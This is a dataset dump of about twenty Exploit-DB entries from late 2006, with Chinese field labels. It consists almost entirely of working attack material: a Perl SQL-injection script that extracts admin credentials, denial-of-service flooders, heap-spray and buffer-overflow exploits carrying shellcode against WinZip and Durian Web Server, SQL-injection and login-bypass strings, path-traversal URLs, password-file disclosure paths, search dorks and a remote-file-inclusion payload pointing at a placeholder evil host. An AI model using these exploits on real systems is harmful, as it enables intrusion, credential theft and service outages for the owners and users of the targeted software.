QLWD/code_shield huggingface dataset:
标题: Click N Print Coupons 2006.01 - 'key' SQL Injection EDB-ID: 3048 CVE: 2006-6859 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-30 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.websitedesignsforless.com
#[$$         : $9.95
#[Message    : Tum Musluman Aleminin Kurban Bayrami Mubarek Olsun #..
#[..         : ajann,Turkey

# 2006.01 //coupon_detail.asp?key=-1%20union%20select%200,0,xusername,0,0,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%201


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Click N' Print Coupons <= V2005.01 (key) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/coupon_detail.asp?key=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,0,0,xusername,xpassword,0,0,0,0,0,0,0,0,0%20from%20login%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<font size=\"4\"><b>(.*?)<br>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-30] URL: https://www.exploit-db.com/exploits/3048
标题: Formbankserver 1.9 - 'Name' Remote Denial of Service EDB-ID: 3056 CVE: 2007-0138 2006-6910 类型: DOS 平台: WINDOWS 发布日期: 2006-12-31 漏洞利用脚本: #!perl
#Vulnerability found by Bl0od3r
#visit http://dc3.dl.am to see more exploits
#http://www.fersch.de/formbankserver/
#download:http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796
- Hide quoted text -
use IO::Socket;
use warnings;
 package exploit;
 sub new { bless {} }
 sub bar {
         my $self = shift;
$self->{host}=$ARGV[0];
$self->{port}=$ARGV[1];
&start;
}
 my $attack = exploit->new();
 $attack->bar();
 

sub error() {
print("Connection Refused.Check the host now.It seems like its successfully attacked.");
}

sub start() {
$host=$ARGV[0];
$port=$ARGV[1];
$buff="/../" x 999;
die("No Host.") unless($host);
die("No Port.") unless($port);
for ($i=0;$i<99999;$i++) {
      while () {
$buff.="BABA";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &error();
    syswrite STDOUT,"+";
    print $sock "GET /cgi-bin/formbankcgi.exe/Abfrage?Name=".$buff." HTTP/1.1\n";
        print $sock "Connection: close\n\n";
    syswrite STDOUT,"+";
  }
 }
}

# milw0rm.com [2006-12-31] URL: https://www.exploit-db.com/exploits/3056
标题: WordPress Plugin Enigma 2 Bridge - 'boarddir' Remote File Inclusion EDB-ID: 3051 CVE: 2006-6863 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-30 漏洞利用脚本: -----------------------------------------------

Enigma WordPress Bridge (boarddir) Remote File Include

-----------------------------------------------


Author: xoron

-----------------------------------------------
 
Vuln Code:

require_once($boarddir . '/PortalSources/Portal.ini.php');

-----------------------------------------------

3xplo!t:

WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=http://evil_scripts?

-----------------------------------------------

download:  http://www.lunabyte.org/downloads/WordPressBridge.zip

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlarin kurban bayrami simdiden mubarek olsun -
-                                                         -
-              Greetz: str0ke, Kacper                     -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-30] URL: https://www.exploit-db.com/exploits/3051
标题: FreeStyle Wiki 3.6.2 - 'user.dat' Password Disclosure EDB-ID: 3047 CVE: 2006-6889 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-30 漏洞利用脚本: fswiki 3.6.2 (user.dat) Password Disclosure Vulnerability



=> Affected Software: fswiki 3.6.2

=> Download: http://keihanna.dl.sourceforge.jp/fswiki/20797/wiki3_6_2.zip

=> F0under: bd0rk

=> Greetings: str0ke, TheJT, SHiKaA, Lu7k

[+]Exploit: http://[target]/[fswiki_path]/config/user.dat



#####The german Hacker bd0rk#####

# milw0rm.com [2006-12-30] URL: https://www.exploit-db.com/exploits/3047
标题: P-News 1.16/1.17 - 'user.dat' Remote Password Disclosure EDB-ID: 3054 CVE: 2006-6888 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-31 漏洞利用脚本: ##########################################################################################################
#P-News (user.dat)Remote Password Disclosure Vulnerablity                    #
##########################################################################################################
#S.name:P-News                                                               #
#Affected versions:1.17 and 1.16                                             #
#Vendor:www.ppopn.net                                                        #
#Risk:Very Highly Critical                                                   #
##########################################################################################################
#Author:Dr Max Virus                                                         #
#Location:Egypt                                                              #
##########################################################################################################
#POC:                                                                        #
#http:/[target]/[path]/db/user.dat                                           #
#As We see Admin name and hash          !!!!!!!!!!!!!!!!!!!!!!!!!!           #
##########################################################################################################
#You can crack the password with any md5 encrypt                             #
#Or u can register and inject the info in any cookie editor can be in FireFox or Opera                   #
##########################################################################################################
#Dorks:                                                                      #
#V1.16;                                                                      #
#allintitle:"P-news ver. 1.16"                                               #
#V1.17;                                                                      #
#powered by P-News 1.17                                                      #
##########################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-mTk-nuffsaid-MrSwan-All Friends                #
#Special Gr33ts:AsianEagle-Kacper-The master-Hotturk                         #
##########################################################################################################

# milw0rm.com [2006-12-31] URL: https://www.exploit-db.com/exploits/3054
标题: WinZip 10.0 - FileView ActiveX Controls Remote Overflow EDB-ID: 3055 CVE: 2006-6884 类型: REMOTE 平台: WINDOWS 发布日期: 2006-12-31 漏洞利用脚本: <html>
<head>
<object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip">
</object>
</head>
<body>
<SCRIPT language="javascript">
 /*
 ---===[ winzip-exploit.html
 
XiaoHui : 76693223[at]163com
HomePage: www.nipc.org.cn
(c) 2006 All rights reserved.
note:Because of the prior vuln in FileView ActiveX Control,Micorsoft has disabled this ActiveX Controls,
To test this vuln,You can delete the key:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{A09AE68F-B14D-43ED-B713-BA413F034904}]
"Compatibility Flags"=dword:00000400
I have test the exploit on Windows 2000+sp4(CN) and Windows xp+sp2(CN) and Winzip 10.0(6667),you can tryother version,goodluck~ 

]===---
*/
 var heapSprayToAddress = 0x0d0d0d0d;
 var payLoadCode = unescape(        "%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
 var heapBlockSize = 0x400000;
 var payLoadSize = payLoadCode.length * 2;
 var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
 var spraySlide = unescape("%u9090%u9090");
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);
 heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
 memory = new Array();
 for (i=0;i<heapBlocks;i++)
 {
  memory[i] = spraySlide + payLoadCode;
 }
 
 var xh = 'A';
 while (xh.length < 231) xh+='A';
 xh+="\x0d\x0d\x0d\x0d";
 winzip.CreateNewFolderFromName(xh);
 function getSpraySlide(spraySlide, spraySlideSize)
 {
  while (spraySlide.length*2<spraySlideSize)
  {
   spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
 }
 
</script>                                                                                                                    
                                      
</body>
</html>

# milw0rm.com [2006-12-31] URL: https://www.exploit-db.com/exploits/3055
标题: Voodoo chat 1.0RC1b - 'users.dat' Password Disclosure EDB-ID: 3044 CVE: 2006-6890 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-30 漏洞利用脚本: Voodoo chat 1.0RC1b Password Disclosure Vulnerability



Affected Software: Voodoo chat 1.0RC1b

Download: http://switch.dl.sourceforge.net/sourceforge/voc/voc-1.0RC1b.zip

Found3R: bd0rk

Website: www.soh-crew.it.tt

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, Perle, TheJT, Shizoe

[+]Exploit: http://[yourh0st]/[voodoo_chat_dir]/data/users.dat



#####The german Hacker bd0rk#####

# milw0rm.com [2006-12-30] URL: https://www.exploit-db.com/exploits/3044
标题: EasyNews PRO News Publishing 4.0 - Password Disclosure EDB-ID: 3039 CVE: 2006-6866 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-29 漏洞利用脚本: => EasyNews PRO News Publishing 4.0 Remote Password Disclosure Vulnerability <=



=> Affected Software: Easy News 4.0 PRO

=> Risk: Critical

=> Download: http://www.stphp.com/scripts/EasyNews_PRO_4_0.zip

=> Bugfounder: bd0rk

=> Contact: bd0rk[at]hackermail.com

=> Greets: str0ke, crashovernight, TheJT, Kacper

   Usage: http://[target]/[easy_news_path]/newsboard/data/users.txt

# milw0rm.com [2006-12-29] URL: https://www.exploit-db.com/exploits/3039
标题: SoftArtisans SAFileUp 5.0.14 - 'viewsrc.asp' Script Source Disclosure EDB-ID: 3046 CVE: 2006-6865 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-30 漏洞利用脚本: SoftArtisans FileUp viewsrc.asp remote script source disclosure exploit 

Advisory Name: SoftArtisans FileUp(TM) viewsrc.asp remote script source disclosure exploit 
Tested and Confirmed Vulerable: SoftArtisans SAFileUp(TM) 5.0.14 (Standard) 
Severity: High Type: Script 
source disclosure From where: Remote 
Discovered by: Inge Henriksen (http://ingehenriksen.blogspot.com/) 
Vendor Status: Notified Overview: 

SoftArtisans FileUp(TM) is a popular web server component for transactional uploading of files to a 
web server using a web browser. 

When installing SoftArtisans FileUp(TM) you should avoid installing the samples as viewsrc.asp can 
let remote anonymous users see script source code or configuration settings outside the 
/SAFileUpSamples virtual directory. This is accomplished by modifying the "path" query variable to 
point to files outside the designated directory. A web browser from a remote location is a 
sufficient tool to see the source code or configuration settings in plain text. 

Proof-of Concept: 

The following url would show the configuration settings for www.example.xom: 

http://www.example.xom/SAFileUpSamples/util/viewsrc.asp?path=/SAFileUpSamples/%c0%ae./%c0%ae./web.config 


The %c0%ae is Unicode for the "." character on a english language server, the url is therefore 
interpreted by the server as 
http://www.example.xom/SAFileUpSamples/util/viewsrc.asp?path=/SAFileUpSamples/../../web.config, in 
addition the unicode character avoids the security checks inside the code of viewsrc.asp which won't 
let any ".." pass through. Keep in mind that other unicode's will also work. Also note that OS'es 
with other language settings will be vulnerable to different unicodes, thus %c0%ae might not work on 
a chinese server but some other unicode's should work just as well. 

# milw0rm.com [2006-12-30] URL: https://www.exploit-db.com/exploits/3046
标题: Macromedia Flash 8 (Flash8b.ocx) Internet Explorer 7 - Denial of Service EDB-ID: 3041 CVE: 2006-6827 类型: DOS 平台: WINDOWS 发布日期: 2006-12-29 漏洞利用脚本: <!--
--------------------------------------------------------------------------
Macromedia Flash 8 (Flash8b.ocx) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
---------------------------------------------------------------------------
-->

<html>
<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='Flash8b'></object>
<script language='vbscript'>

argCount = 1

arg1=String(1000000, "A")

Flash8b.AllowScriptAccess=arg1

</script>

# milw0rm.com [2006-12-29] URL: https://www.exploit-db.com/exploits/3041
标题: aFAQ 1.0 - 'faqDsp.asp?catcode' SQL Injection EDB-ID: 3031 CVE: 2006-6831 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-28 漏洞利用脚本: *******************************************************************************
# Title   :  aFAQ 1.0 (catcode) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.alanward.net
# $$      :  Free
*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//faqDsp.asp?catcode=[SQL]

Example:

//faqDsp.asp?catcode=-1%20union%20select%20username,password,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-28] URL: https://www.exploit-db.com/exploits/3031
标题: ASPTicker 1.0 - Authentication Bypass EDB-ID: 3035 CVE: 2006-6848 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-28 漏洞利用脚本: *******************************************************************************
# Title   :  ASPTicker 1.0 (admin.asp) Remote Login ByPass SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.aspapps.com
# $$      :  $ 17.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin.asp[ByPass]

Example:

//Password} 'union select 0,0,0 from password

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-28] URL: https://www.exploit-db.com/exploits/3035
标题: AIDeX Mini-WebServer 1.1 - Remote Crash (Denial of Service) EDB-ID: 3034 CVE: 2006-6855 类型: DOS 平台: WINDOWS 发布日期: 2006-12-28 漏洞利用脚本: import socket

print "---------------------------------------------------------------------"
print "# AID'eX Mini-Webserver Verion 1.1 early Release 3 Denial of Service"
print "# url: http://www.aidex.de/software/webserver/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "# soundtrack: "Suzanne" (Leonard Cohen)
print "---------------------------------------------------------------------"

host = "127.0.0.1"
port = 80

for i in range (0,100):
   connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   connection.connect((host, port))
   connection.send("GET / HTTP/1.0 \n\n")

# milw0rm.com [2006-12-28] URL: https://www.exploit-db.com/exploits/3034
标题: phpBB2 Plus 1.53 - Acronym Mod SQL Injection EDB-ID: 3033 CVE: 2006-6842 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-28 漏洞利用脚本: ########################################################################
#  Acronym Mod  v0.9.5  Remote SQL Injection Vulnerability
#
#  Download: http://www.codemonkeyx.net
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/admin/admin_acronyms.php?mode=edit&id=-1%20UNION%20SELECT%20null,user_password,null%20FROM%20phpbb_users%20where%20user_id=2&sid=AdminHash
#
#  Greetz: str0ke , Dr Max Virus , Kacper
########################################################################

# milw0rm.com [2006-12-28] URL: https://www.exploit-db.com/exploits/3033
标题: Macromedia Shockwave 10 'SwDir.dll' Internet Explorer 7 - Denial of Service EDB-ID: 3042 CVE: 2006-6885 类型: DOS 平台: WINDOWS 发布日期: 2006-12-29 漏洞利用脚本: <!--
---------------------------------------------------------------------------
Macromedia Shockwave 10 (SwDir.dll) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
---------------------------------------------------------------------------
-->

<html>
<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>

argCount = 1

arg1=String(1000000, "A")

ShockW.swURL = arg1

</script>

# milw0rm.com [2006-12-29] URL: https://www.exploit-db.com/exploits/3042
标题: x-news 1.1 - 'users.txt' Remote Password Disclosure EDB-ID: 3043 CVE: 2002-1656 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-30 漏洞利用脚本: x-news 1.1 Password Disclosure Vulnerability


Affected Software: x-news 1.1

x-news Website: http://xqus.com

Bugfounder: bd0rk

Website: www.soh-crew.it.tt

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, Perle, TheJT, ajann

[+]Exploit: http://[target]/[x_news_path]/news/db/users.txt

Showexample: |username|MD5-Hash|eMail|

# milw0rm.com [2006-12-30] URL: https://www.exploit-db.com/exploits/3043
标题: wywo inout board 1.0 - Multiple Vulnerabilities EDB-ID: 3032 CVE: 2006-6846 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-28 漏洞利用脚本: *******************************************************************************
# Title   :  WYWO - InOut Board 1.0 Multiple Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://cybercoded.com
# $$      :  9.95 $

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path/phonemessage.asp?num=[SQL]

Example:

//phonemessage.asp?num=-1%20union%20select%200,username,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20employee%20where%20Admin='Yes'
[[/SQL]]

[[Login ByPass]]]---------------------------------------------------------

http://[target]/[path]//faqDsp.asp?catcode=[SQL]

Example:

//login.asp   Username: 'or' Password: 'or'

[[/Login ByPass]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-28] URL: https://www.exploit-db.com/exploits/3032
标题: Durian Web Application Server 3.02 - Denial of Service EDB-ID: 3038 CVE: 2006-6853 类型: DOS 平台: WINDOWS 发布日期: 2006-12-29 漏洞利用脚本: <?php
//Durian Web Application Server 3.02 freeware for Win32 denial of service exploit
//this will merely show 1000 access violation boxes to screen
//software site -> http://sourceforge.net/projects/durian/

//by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org

error_reporting(E_ALL);
$service_port = "4002";
$address = "192.168.1.3";

$ch  =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);
$c=1000;

for ($m=1; $m<=$c; $m++){
    for ($j=0; $j<3; $j++){
        for ($i=0; $i<8; $i++){
            $junk="";
            for ($k=1; $k<=$size[$i]; $k++){
                $junk.=$ch[$j];
            }
            echo "buf size:".$size[$i]."|char:".$ch[$j]."\n";
            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if ($socket < 0) {
                die("socket_create() failed:\n reason: " . socket_strerror($socket) . "\n");
            }
            $result = socket_connect($socket, $address, $service_port);
            if ($result < 0) {
                die("socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n");
            }
            $in = $junk;
            socket_write($socket, $in, strlen ($in));
            socket_close($socket);
        }
   }
sleep(1);
}
?>

# milw0rm.com [2006-12-29] URL: https://www.exploit-db.com/exploits/3038
标题: Durian Web Application Server 3.02 - Remote Buffer Overflow EDB-ID: 3037 CVE: 2006-6853 类型: REMOTE 平台: WINDOWS 发布日期: 2006-12-29 漏洞利用脚本: <?php
/*
Durian Web Application Server 3.02 freeware for Win32 buffer
overflow execute command exploit

by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

tested against xp sp2 ita

software site -> http://sourceforge.net/projects/durian/

*/

error_reporting(E_ALL);
$address = "192.168.1.3";
$service_port = "4002";

$shellcode =
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\xda\xcd\x81\x7c". //ExitProcess, 0x7c81cdda
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"cmd.exe /c start notepad & ";

//$eip="\x72\xe0\xf1\x00";//DEP disabled
$eip="\x72\xe0\xf2\x00";

$ch  =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);

    for ($j=0; $j<count($ch); $j++){
        for ($i=0; $i<count($size); $i++){
            $junk="";
            if (($j==2) and ($i==7)){
                $junk ="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVXXXX";
                $junk.="YYYYZZZZaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuu";
  $junk.=$eip; //jmp shellcode
  for ($n=1; $n<=100; $n++){
      $junk.="\x90";
  }
  $junk.=$shellcode;
                for ($n=1; $n=(2300-strlen($junk)); $n++){
      $junk.="\x90";
  }
            }
            else {
  for ($k=1; $k<=$size[$i]; $k++){
                    $junk.=$ch[$j];
                }
     }
            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if ($socket < 0) {
                die("socket_create() failed:\n reason: " . socket_strerror($socket) . "\n");
            }
            $result = socket_connect($socket, $address, $service_port);
            if ($result < 0) {
                die("socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n");
            }
            $in = $junk;
            socket_write($socket, $in, strlen ($in));
            socket_close($socket);
        }
   }
?>

# milw0rm.com [2006-12-29] URL: https://www.exploit-db.com/exploits/3037